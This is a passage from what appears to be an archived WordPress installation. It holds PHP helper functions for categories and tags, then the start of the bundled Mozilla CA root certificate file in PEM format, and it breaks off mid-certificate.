) { return; } foreach ( $categories as $category ) { $path = '/' . $leaf_path; $curcategory = $category; while ( ( 0 != $curcategory->parent ) && ( $curcategory->parent != $curcategory->term_id ) ) { $curcategory = get_term( $curcategory->parent, 'category' ); if ( is_wp_error( $curcategory ) ) { return $curcategory; } $path = '/' . $curcategory->slug . $path; } if ( $path == $full_path ) { $category = get_term( $category->term_id, 'category', $output ); _make_cat_compat( $category ); return $category; } } // If full matching is not required, return the first cat that matches the leaf. if ( ! $full_match ) { $category = get_term( reset( $categories )->term_id, 'category', $output ); _make_cat_compat( $category ); return $category; } } /** * Retrieves a category object by category slug. * * @since 2.3.0 * * @param string $slug The category slug. * @return object|false Category data object on success, false if not found. */ function get_category_by_slug( $slug ) { $category = get_term_by( 'slug', $slug, 'category' ); if ( $category ) { _make_cat_compat( $category ); } return $category; } /** * Retrieves the ID of a category from its name. * * @since 1.0.0 * * @param string $cat_name Category name. * @return int Category ID on success, 0 if the category doesn't exist. */ function get_cat_ID( $cat_name ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid $cat = get_term_by( 'name', $cat_name, 'category' ); if ( $cat ) { return $cat->term_id; } return 0; } /** * Retrieves the name of a category from its ID. * * @since 1.0.0 * * @param int $cat_id Category ID. * @return string Category name, or an empty string if the category doesn't exist. */ function get_cat_name( $cat_id ) { $cat_id = (int) $cat_id; $category = get_term( $cat_id, 'category' ); if ( ! $category || is_wp_error( $category ) ) { return ''; } return $category->name; } /** * Checks if a category is an ancestor of another category. * * You can use either an ID or the category object for both parameters. * If you use an integer, the category will be retrieved. * * @since 2.1.0 * * @param int|object $cat1 ID or object to check if this is the parent category. * @param int|object $cat2 The child category. * @return bool Whether $cat2 is child of $cat1. */ function cat_is_ancestor_of( $cat1, $cat2 ) { return term_is_ancestor_of( $cat1, $cat2, 'category' ); } /** * Sanitizes category data based on context. * * @since 2.3.0 * * @param object|array $category Category data. * @param string $context Optional. Default 'display'. * @return object|array Same type as $category with sanitized data for safe use. */ function sanitize_category( $category, $context = 'display' ) { return sanitize_term( $category, 'category', $context ); } /** * Sanitizes data in single category key field. * * @since 2.3.0 * * @param string $field Category key to sanitize. * @param mixed $value Category value to sanitize. * @param int $cat_id Category ID. * @param string $context What filter to use, 'raw', 'display', etc. * @return mixed Same type as $value after $value has been sanitized. */ function sanitize_category_field( $field, $value, $cat_id, $context ) { return sanitize_term_field( $field, $value, $cat_id, 'category', $context ); } /* Tags */ /** * Retrieves all post tags. * * @since 2.3.0 * * @param string|array $args { * Optional. Arguments to retrieve tags. See get_terms() for additional options. * * @type string $taxonomy Taxonomy to retrieve terms for. Default 'post_tag'. * } * @return WP_Term[]|int|WP_Error Array of 'post_tag' term objects, a count thereof, * or WP_Error if any of the taxonomies do not exist. */ function get_tags( $args = '' ) { $defaults = array( 'taxonomy' => 'post_tag' ); $args = wp_parse_args( $args, $defaults ); $tags = get_terms( $args ); if ( empty( $tags ) ) { $tags = array(); } else { /** * Filters the array of term objects returned for the 'post_tag' taxonomy. * * @since 2.3.0 * * @param WP_Term[]|int|WP_Error $tags Array of 'post_tag' term objects, a count thereof, * or WP_Error if any of the taxonomies do not exist. * @param array $args An array of arguments. @see get_terms() */ $tags = apply_filters( 'get_tags', $tags, $args ); } return $tags; } /** * Retrieves a post tag by tag ID or tag object. * * If you pass the $tag parameter an object, which is assumed to be the tag row * object retrieved from the database, it will cache the tag data. * * If you pass $tag an integer of the tag ID, then that tag will be retrieved * from the database, if it isn't already cached, and passed back. * * If you look at get_term(), both types will be passed through several filters * and finally sanitized based on the $filter parameter value. * * @since 2.3.0 * * @param int|WP_Term|object $tag A tag ID or object. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Term object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. How to sanitize tag fields. Default 'raw'. * @return WP_Term|array|WP_Error|null Tag data in type defined by $output parameter. * WP_Error if $tag is empty, null if it does not exist. */ function get_tag( $tag, $output = OBJECT, $filter = 'raw' ) { return get_term( $tag, 'post_tag', $output, $filter ); } /* Cache */ /** * Removes the category cache data based on ID. * * @since 2.1.0 * * @param int $id Category ID */ function clean_category_cache( $id ) { clean_term_cache( $id, 'category' ); } /** * Updates category structure to old pre-2.3 from new taxonomy structure. * * This function was added for the taxonomy support to update the new category * structure with the old category one. This will maintain compatibility with * plugins and themes which depend on the old key or property names. * * The parameter should only be passed a variable and not create the array or * object inline to the parameter. The reason for this is that parameter is * passed by reference and PHP will fail unless it has the variable. * * There is no return value, because everything is updated on the variable you * pass to it. This is one of the features with using pass by reference in PHP. * * @since 2.3.0 * @since 4.4.0 The `$category` parameter now also accepts a WP_Term object. * @access private * * @param array|object|WP_Term $category Category row object or array. */ function _make_cat_compat( &$category ) { if ( is_object( $category ) && ! is_wp_error( $category ) ) { $category->cat_ID = $category->term_id; $category->category_count = $category->count; $category->category_description = $category->description; $category->cat_name = $category->name; $category->category_nicename = $category->slug; $category->category_parent = $category->parent; } elseif ( is_array( $category ) && isset( $category['term_id'] ) ) { $category['cat_ID'] = &$category['term_id']; $category['category_count'] = &$category['count']; $category['category_description'] = &$category['description']; $category['cat_name'] = &$category['name']; $category['category_nicename'] = &$category['slug']; $category['category_parent'] = &$category['parent']; } } certificates/ca-bundle.crt000064400000711733151202620300011560 0ustar00## ## Bundle of CA Root Certificates ## ## Certificate data from Mozilla as of: Wed Jul 22 03:12:14 2020 GMT ## Includes a WordPress Modification - We include the 'legacy' 1024bit certificates ## for backward compatibility. See https://core.trac.wordpress.org/ticket/34935#comment:10 ## ## This is a bundle of X.509 certificates of public Certificate Authorities ## (CA). These were automatically extracted from Mozilla's root certificates ## file (certdata.txt). This file can be found in the mozilla source tree: ## https://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/certdata.txt ## ## It contains the certificates in PEM format and therefore ## can be directly used with curl / libcurl / php_curl, or with ## an Apache+mod_ssl webserver for SSL client authentication. ## Just configure this file as the SSLCACertificateFile. ## ## Conversion done with mk-ca-bundle.pl version 1.27. ## SHA256: fffa309937c3be940649293f749b8207fabc6eb224e50e4bb3f2c5e44e0d6a6b ## EE Certification Centre Root CA =============================== -----BEGIN CERTIFICATE----- MIIEAzCCAuugAwIBAgIQVID5oHPtPwBMyonY43HmSjANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG EwJFRTEiMCAGA1UECgwZQVMgU2VydGlmaXRzZWVyaW1pc2tlc2t1czEoMCYGA1UEAwwfRUUgQ2Vy dGlmaWNhdGlvbiBDZW50cmUgUm9vdCBDQTEYMBYGCSqGSIb3DQEJARYJcGtpQHNrLmVlMCIYDzIw MTAxMDMwMTAxMDMwWhgPMjAzMDEyMTcyMzU5NTlaMHUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKDBlB UyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMSgwJgYDVQQDDB9FRSBDZXJ0aWZpY2F0aW9uIENlbnRy ZSBSb290IENBMRgwFgYJKoZIhvcNAQkBFglwa2lAc2suZWUwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDIIMDs4MVLqwd4lfNE7vsLDP90jmG7sWLqI9iroWUyeuuOF0+W2Ap7kaJjbMeM TC55v6kF/GlclY1i+blw7cNRfdCT5mzrMEvhvH2/UpvObntl8jixwKIy72KyaOBhU8E2lf/slLo2 rpwcpzIP5Xy0xm90/XsY6KxX7QYgSzIwWFv9zajmofxwvI6Sc9uXp3whrj3B9UiHbCe9nyV0gVWw 93X2PaRka9ZP585ArQ/dMtO8ihJTmMmJ+xAdTX7Nfh9WDSFwhfYggx/2uh8Ej+p3iDXE/+pOoYtN P2MbRMNE1CV2yreN1x5KZmTNXMWcg+HCCIia7E6j8T4cLNlsHaFLAgMBAAGjgYowgYcwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBLyWj7qVhy/zQas8fElyalL1BSZ MEUGA1UdJQQ+MDwGCCsGAQUFBwMCBggrBgEFBQcDAQYIKwYBBQUHAwMGCCsGAQUFBwMEBggrBgEF BQcDCAYIKwYBBQUHAwkwDQYJKoZIhvcNAQEFBQADggEBAHv25MANqhlHt01Xo/6tu7Fq1Q+e2+Rj xY6hUFaTlrg4wCQiZrxTFGGVv9DHKpY5P30osxBAIWrEr7BSdxjhlthWXePdNl4dp1BUoMUq5KqM lIpPnTX/dqQGE5Gion0ARD9V04I8GtVbvFZMIi5GQ4okQC3zErg7cBqklrkar4dBGmoYDQZPxz5u uSlNDUmJEYcyW+ZLBMjkXOZ0c5RdFpgTlf7727FE5TpwrDdr5rMzcijJs1eg9gIWiAYLtqZLICjU 3j2LrTcFU3T+bsy8QxdxXvnFzBqpYe73dgzzcvRyrc9yAjYHR8/vGVCJYMzpJJUPwssd8m92kMfM dcGWxZ0= -----END CERTIFICATE----- Thawte Server CA ================ -----BEGIN CERTIFICATE----- MIIDEzCCAnygAwIBAgIBATANBgkqhkiG9w0BAQQFADCBxDELMAkGA1UEBhMCWkExFTATBgNVBAgT DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3Vs dGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcGA1UE AxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0ZS5j b20wHhcNOTYwODAxMDAwMDAwWhcNMjAxMjMxMjM1OTU5WjCBxDELMAkGA1UEBhMCWkExFTATBgNV BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29u c3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcG A1UEAxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0 ZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANOkUG7I/1Zr5s9dtuoMaHVHoqrC2oQl /Kj0R1HahbUgdJSGHg91yekIYfUGbTBuFRkC6VLAYttNmZ7iagxEOM3+vuNkCXDF/rFrKbYvScg7 1CcEJRCXL+eQbcAoQpnXTEPew/UhbVSfXcNY4cDk2VuwuNy0e982OsK1ZiIS1ocNAgMBAAGjEzAR MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEAB/pMaVz7lcxG7oWDTSEwjsrZqG9J GubaUeNgcGyEYRGhGshIPllDfU+VPaGLtwtimHp1it2ITk6eQNuozDJ0uW8NxuOzRAvZim+aKZuZ GCg70eNAKJpaPNW15yAbi8qkq43pUdniTCxZqdq5snUb9kLy78fyGPmJvKP/iiMucEc= -----END CERTIFICATE----- Thawte Premium Server CA ======================== -----BEGIN CERTIFICATE----- MIIDJzCCApCgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBzjELMAkGA1UEBhMCWkExFTATBgNVBAgT DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3Vs dGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UE AxMYVGhhd3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZl ckB0aGF3dGUuY29tMB4XDTk2MDgwMTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgc4xCzAJBgNVBAYT AlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEdMBsGA1UEChMU VGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2 aXNpb24xITAfBgNVBAMTGFRoYXd0ZSBQcmVtaXVtIFNlcnZlciBDQTEoMCYGCSqGSIb3DQEJARYZ cHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0jY2 aovXwlue2oFBYo847kkEVdbQ7xwblRZH7xhINTpS9CtqBo87L+pW46+GjZ4X9560ZXUCTe/LCaIh Udib0GfQug2SBhRz1JPLlyoAnFxODLz6FVL88kRu2hFKbgifLy3j+ao6hnO2RlNYyIkFvYMRuHM/ qgeN9EJN50CdHDcCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQQFAAOBgQAm SCwWwlj66BZ0DKqqX1Q/8tfJeGBeXm43YyJ3Nn6yF8Q0ufUIhfzJATj/Tb7yFkJD57taRvvBxhEf 8UqwKEbJw8RCfbz6q1lu1bdRiBHjpIUZa4JMpAwSremkrj/xw0llmozFyD4lt5SZu5IycQfwhl7t UCemDaYj+bvLpgcUQg== -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority ======================================================= -----BEGIN CERTIFICATE----- MIICPDCCAaUCEHC65B0Q2Sk0tjjKewPMur8wDQYJKoZIhvcNAQECBQAwXzELMAkGA1UEBhMCVVMx FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMTIzNTk1OVow XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94 f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBAgUAA4GBALtMEivPLCYA TxQT3ab7/AoRhIzzKBxnki98tsX63/Dolbwdj2wsqFHMc9ikwFPwTtYmwHYBV4GSXiHx0bH/59Ah WM1pF+NEHJwZRDmJXNycAA9WjQKZ7aKQRUzkuxCkPfAyAw7xzvjoyVGM5mKf5p/AfbdynMk2Omuf Tqj/ZA1k -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority - G2 ============================================================ -----BEGIN CERTIFICATE----- MIIDAjCCAmsCEH3Z/gfPqB63EHln+6eJNMYwDQYJKoZIhvcNAQEFBQAwgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMB4XDTk4MDUxODAwMDAwMFoXDTI4MDgwMTIzNTk1OVowgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMXtERXVxp0KvTuWpMmR9ZmDCO FoUgRm1HP9SFIIThbbP4pO0M8RcPO/mn+SXXwc+EY/J8Y8+iR/LGWzOOZEAEaMGAuWQcRXfH2G71 lSk8UOg013gfqLptQ5GVj0VXXn7F+8qkBOvqlzdUMG+7AUcyM83cV5tkaWH4mx0ciU9cZwIDAQAB MA0GCSqGSIb3DQEBBQUAA4GBAFFNzb5cy5gZnBWyATl4Lk0PZ3BwmcYQWpSkU01UbSuvDV1Ai2TT 1+7eVmGSX6bEHRBhNtMsJzzoKQm5EWR0zLVznxxIqbxhAe7iF6YM40AIOw7n60RzKprxaZLvcRTD Oaxxp5EJb+RxBrO6WVcmeQD2+A2iMzAo1KpYoJ2daZH9 -----END CERTIFICATE----- America Online Root Certification Authority 1 ============================================= -----BEGIN CERTIFICATE----- MIIDpDCCAoygAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT QW1lcmljYSBPbmxpbmUgSW5jLjE2MDQGA1UEAxMtQW1lcmljYSBPbmxpbmUgUm9vdCBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eSAxMB4XDTAyMDUyODA2MDAwMFoXDTM3MTExOTIwNDMwMFowYzELMAkG A1UEBhMCVVMxHDAaBgNVBAoTE0FtZXJpY2EgT25saW5lIEluYy4xNjA0BgNVBAMTLUFtZXJpY2Eg T25saW5lIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgMTCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAKgv6KRpBgNHw+kqmP8ZonCaxlCyfqXfaE0bfA+2l2h9LaaLl+lkhsmj76CG v2BlnEtUiMJIxUo5vxTjWVXlGbR0yLQFOVwWpeKVBeASrlmLojNoWBym1BW32J/X3HGrfpq/m44z DyL9Hy7nBzbvYjnF3cu6JRQj3gzGPTzOggjmZj7aUTsWOqMFf6Dch9Wc/HKpoH145LcxVR5lu9Rh sCFg7RAycsWSJR74kEoYeEfffjA3PlAb2xzTa5qGUwew76wGePiEmf4hjUyAtgyC9mZweRrTT6PP 8c9GsEsPPt2IYriMqQkoO3rHl+Ee5fSfwMCuJKDIodkP1nsmgmkyPacCAwEAAaNjMGEwDwYDVR0T AQH/BAUwAwEB/zAdBgNVHQ4EFgQUAK3Zo/Z59m50qX8zPYEX10zPM94wHwYDVR0jBBgwFoAUAK3Z o/Z59m50qX8zPYEX10zPM94wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBBQUAA4IBAQB8itEf GDeC4Liwo+1WlchiYZwFos3CYiZhzRAW18y0ZTTQEYqtqKkFZu90821fnZmv9ov761KyBZiibyrF VL0lvV+uyIbqRizBs73B6UlwGBaXCBOMIOAbLjpHyx7kADCVW/RFo8AasAFOq73AI25jP4BKxQft 3OJvx8Fi8eNy1gTIdGcL+oiroQHIb/AUr9KZzVGTfu0uOMe9zkZQPXLjeSWdm4grECDdpbgyn43g Kd8hdIaC2y+CMMbHNYaz+ZZfRtsMRf3zUMNvxsNIrUam4SdHCh0Om7bCd39j8uB9Gr784N/Xx6ds sPmuujz9dLQR6FgNgLzTqIA6me11zEZ7 -----END CERTIFICATE----- America Online Root Certification Authority 2 ============================================= -----BEGIN CERTIFICATE----- MIIFpDCCA4ygAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT QW1lcmljYSBPbmxpbmUgSW5jLjE2MDQGA1UEAxMtQW1lcmljYSBPbmxpbmUgUm9vdCBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyODA2MDAwMFoXDTM3MDkyOTE0MDgwMFowYzELMAkG A1UEBhMCVVMxHDAaBgNVBAoTE0FtZXJpY2EgT25saW5lIEluYy4xNjA0BgNVBAMTLUFtZXJpY2Eg T25saW5lIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAMxBRR3pPU0Q9oyxQcngXssNt79Hc9PwVU3dxgz6sWYFas14tNwC206B89en fHG8dWOgXeMHDEjsJcQDIPT/DjsS/5uN4cbVG7RtIuOx238hZK+GvFciKtZHgVdEglZTvYYUAQv8 f3SkWq7xuhG1m1hagLQ3eAkzfDJHA1zEpYNI9FdWboE2JxhP7JsowtS013wMPgwr38oE18aO6lhO qKSlGBxsRZijQdEt0sdtjRnxrXm3gT+9BoInLRBYBbV4Bbkv2wxrkJB+FFk4u5QkE+XRnRTf04JN RvCAOVIyD+OEsnpD8l7eXz8d3eOyG6ChKiMDbi4BFYdcpnV1x5dhvt6G3NRI270qv0pV2uh9UPu0 gBe4lL8BPeraunzgWGcXuVjgiIZGZ2ydEEdYMtA1fHkqkKJaEBEjNa0vzORKW6fIJ/KD3l67Xnfn 6KVuY8INXWHQjNJsWiEOyiijzirplcdIz5ZvHZIlyMbGwcEMBawmxNJ10uEqZ8A9W6Wa6897Gqid FEXlD6CaZd4vKL3Ob5Rmg0gp2OpljK+T2WSfVVcmv2/LNzGZo2C7HK2JNDJiuEMhBnIMoVxtRsX6 Kc8w3onccVvdtjc+31D1uAclJuW8tf48ArO3+L5DwYcRlJ4jbBeKuIonDFRH8KmzwICMoCfrHRnj B453cMor9H124HhnAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFE1FwWg4u3Op aaEg5+31IqEjFNeeMB8GA1UdIwQYMBaAFE1FwWg4u3OpaaEg5+31IqEjFNeeMA4GA1UdDwEB/wQE AwIBhjANBgkqhkiG9w0BAQUFAAOCAgEAZ2sGuV9FOypLM7PmG2tZTiLMubekJcmnxPBUlgtk87FY T15R/LKXeydlwuXK5w0MJXti4/qftIe3RUavg6WXSIylvfEWK5t2LHo1YGwRgJfMqZJS5ivmae2p +DYtLHe/YUjRYwu5W1LtGLBDQiKmsXeu3mnFzcccobGlHBD7GL4acN3Bkku+KVqdPzW+5X1R+FXg JXUjhx5c3LqdsKyzadsXg8n33gy8CNyRnqjQ1xU3c6U1uPx+xURABsPr+CKAXEfOAuMRn0T//Zoy zH1kUQ7rVyZ2OuMeIjzCpjbdGe+n/BLzJsBZMYVMnNjP36TMzCmT/5RtdlwTCJfy7aULTd3oyWgO ZtMADjMSW7yV5TKQqLPGbIOtd+6Lfn6xqavT4fG2wLHqiMDn05DpKJKUe2h7lyoKZy2FAjgQ5ANh 1NolNscIWC2hp1GvMApJ9aZphwctREZ2jirlmjvXGKL8nDgQzMY70rUXOm/9riW99XJZZLF0Kjhf GEzfz3EEWjbUvy+ZnOjZurGV5gJLIaFb1cFPj65pbVPbAZO1XB4Y3WRayhgoPmMEEf0cjQAPuDff Z4qdZqkCapH/E8ovXYO8h5Ns3CRRFgQlZvqz2cK6Kb6aSDiCmfS/O0oxGfm/jiEzFMpPVF/7zvuP cX/9XhmgD0uRuMRUvAawRY8mkaKO/qk= -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority ======================================================= -----BEGIN CERTIFICATE----- MIICPDCCAaUCEDyRMcsf9tAbDpq40ES/Er4wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMx FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVow XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94 f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBABByUqkFFBky CEHwxWsKzH4PIRnN5GfcX6kb5sroc50i2JhucwNhkcV8sEVAbkSdjbCxlnRhLQ2pRdKkkirWmnWX bj9T/UWZYB2oK0z5XqcJ2HUw19JlYD1n1khVdWk/kfVIC0dpImmClr7JyDiGSnoscxlIaU5rfGW/ D/xwzoiQ -----END CERTIFICATE----- GlobalSign Root CA ================== -----BEGIN CERTIFICATE----- MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkGA1UEBhMCQkUx GTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkds b2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAwMDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNV BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYD VQQDExJHbG9iYWxTaWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDa DuaZjc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6sc THAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4bwY8iGlb Kk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVtbNV4FpWi6cgKOOvyJBNP c1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrX gzT/LCrBbBlDSgeF59N89iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0BAQUF AAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOzyj1hTdNGCbM+w6Dj Y1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE38NflNUVyRRBnMRddWQVDf9VMOyG j/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymPAbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhH hm4qxFYxldBniYUr+WymXUadDKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveC X4XSQRjbgbMEHMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A== -----END CERTIFICATE----- GlobalSign Root CA - R2 ======================= -----BEGIN CERTIFICATE----- MIIDujCCAqKgAwIBAgILBAAAAAABD4Ym5g0wDQYJKoZIhvcNAQEFBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh bFNpZ24wHhcNMDYxMjE1MDgwMDAwWhcNMjExMjE1MDgwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT aWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKbPJA6+Lm8omUVCxKs+IVSbC9N/hHD6 ErPLv4dfxn+G07IwXNb9rfF73OX4YJYJkhD10FPe+3t+c4isUoh7SqbKSaZeqKeMWhG8eoLrvozp s6yWJQeXSpkqBy+0Hne/ig+1AnwblrjFuTosvNYSuetZfeLQBoZfXklqtTleiDTsvHgMCJiEbKjN S7SgfQx5TfC4LcshytVsW33hoCmEofnTlEnLJGKRILzdC9XZzPnqJworc5HGnRusyMvo4KD0L5CL TfuwNhv2GXqF4G3yYROIXJ/gkwpRl4pazq+r1feqCapgvdzZX99yqWATXgAByUr6P6TqBwMhAo6C ygPCm48CAwEAAaOBnDCBmTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E FgQUm+IHV2ccHsBqBt5ZtJot39wZhi4wNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2NybC5nbG9i YWxzaWduLm5ldC9yb290LXIyLmNybDAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjAN BgkqhkiG9w0BAQUFAAOCAQEAmYFThxxol4aR7OBKuEQLq4GsJ0/WwbgcQ3izDJr86iw8bmEbTUsp 9Z8FHSbBuOmDAGJFtqkIk7mpM0sYmsL4h4hO291xNBrBVNpGP+DTKqttVCL1OmLNIG+6KYnX3ZHu 01yiPqFbQfXf5WRDLenVOavSot+3i9DAgBkcRcAtjOj4LaR0VknFBbVPFd5uRHg5h6h+u/N5GJG7 9G+dwfCMNYxdAfvDbbnvRG15RjF+Cv6pgsH/76tuIMRQyV+dTZsXjAzlAcmgQWpzU/qlULRuJQ/7 TBj0/VLZjmmx6BEP3ojY+x1J96relc8geMJgEtslQIxq/H5COEBkEveegeGTLg== -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority - G3 ============================================================ -----BEGIN CERTIFICATE----- 